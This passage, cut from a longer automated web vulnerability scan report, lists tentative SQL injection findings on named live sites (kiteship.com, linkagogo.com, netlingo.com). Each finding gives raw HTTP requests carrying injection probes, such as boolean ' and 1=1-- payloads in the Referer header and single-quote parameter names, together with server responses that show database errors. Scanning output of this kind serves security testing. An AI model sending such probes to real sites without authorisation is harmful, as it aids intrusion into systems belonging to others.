HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:42:31 GMT Server: Apache/1.3.42 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.8e-fips-rhel5 Connection: close Content-Type: text/html Content-Length: 14074
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>KiteShip - Innovatio ...[SNIP]... <font color="red">You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' AND date = '2011-01-24'' at line 1</font> ...[SNIP]...
Request 2
GET /?1''=1 HTTP/1.1 Host: www.kiteship.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:42:41 GMT Server: Apache/1.3.42 (Unix) mod_auth_passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.2635 mod_ssl/2.8.31 OpenSSL/0.9.8e-fips-rhel5 Connection: close Content-Type: text/html Content-Length: 13478
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>KiteShip - Innovatio ...[SNIP]...
The Referer HTTP header appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the Referer HTTP header. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /go/AddNoPopup HTTP/1.1 Host: www.linkagogo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q='%20and%201%3d1--%20
GET /go/AddNoPopup HTTP/1.1 Host: www.linkagogo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q='%20and%201%3d2--%20
The url parameter appears to be vulnerable to SQL injection attacks. The payloads 18557380'%20or%201%3d1--%20 and 18557380'%20or%201%3d2--%20 were each submitted in the url parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.
Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.
Request 1
GET /go/AddNoPopup?url={u}18557380'%20or%201%3d1--%20&title={t} HTTP/1.1 Host: www.linkagogo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
GET /go/AddNoPopup?url={u}18557380'%20or%201%3d2--%20&title={t} HTTP/1.1 Host: www.linkagogo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.62. http://www.netlingo.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /?1'=1 HTTP/1.1 Host: www.netlingo.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:26:36 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 19
Oops, Fatal Error 1
Request 2
GET /?1''=1 HTTP/1.1 Host: www.netlingo.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:26:37 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Vary: Accept-Encoding Connection: close Content-Type: text/html Content-Length: 46138
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.63. http://www.netlingo.com/add-edit/editor-guidelines.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/add-edit/editor-guidelines.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /add-edit/editor-guidelines.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:52:25 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /add-edit/editor-guidelines.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:52:26 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 39420
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.64. http://www.netlingo.com/advertise/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/advertise/index.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /advertise/index.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:59:56 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /advertise/index.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:59:57 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 38369
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.65. http://www.netlingo.com/advertise/licensing.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/advertise/licensing.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /advertise/licensing.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /advertise/licensing.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 36955
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.66. http://www.netlingo.com/advertise/payments.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/advertise/payments.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /advertise/payments.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:03 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /advertise/payments.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:05 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 35386
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.67. http://www.netlingo.com/advertise/sponsorships.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/advertise/sponsorships.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /advertise/sponsorships.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:59:55 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /advertise/sponsorships.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:59:56 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 40042
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.68. http://www.netlingo.com/archive.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/archive.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /archive.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:52:00 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /archive.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:52:01 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 40587
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.69. http://www.netlingo.com/by-category/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/by-category/index.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /by-category/index.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:19 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /by-category/index.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:21 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 41101
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.70. http://www.netlingo.com/category/acronyms.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/category/acronyms.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /category/acronyms.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:40 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /category/acronyms.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:43 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 163340
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.71. http://www.netlingo.com/category/business.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/category/business.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /category/business.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:31 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /category/business.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:35 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 83555
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.72. http://www.netlingo.com/category/hardware.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/category/hardware.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /category/hardware.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:41 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /category/hardware.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:43 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 46206
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.73. http://www.netlingo.com/category/marketing.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/category/marketing.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /category/marketing.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:43 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /category/marketing.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:45 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 46870
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.74. http://www.netlingo.com/category/net-organization.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/category/net-organization.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /category/net-organization.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:50 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /category/net-organization.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:52 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 50980
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.75. http://www.netlingo.com/category/programming.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/category/programming.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /category/programming.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:48 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /category/programming.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:53 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 40843
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.76. http://www.netlingo.com/category/software.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/category/software.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /category/software.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:45 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /category/software.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:48 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 45055
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.77. http://www.netlingo.com/category/technology.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/category/technology.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /category/technology.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:02 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Content-Length: 19 Connection: close Content-Type: text/html
Oops, Fatal Error 3
Request 2
GET /category/technology.php?1''=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 2
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:51:07 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 60392
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]...
1.78. http://www.netlingo.com/contact/contact-us.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Tentative
Host:
http://www.netlingo.com
Path:
/contact/contact-us.php
Issue detail
The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the name of an arbitrarily supplied request parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /contact/contact-us.php?1'=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response 1
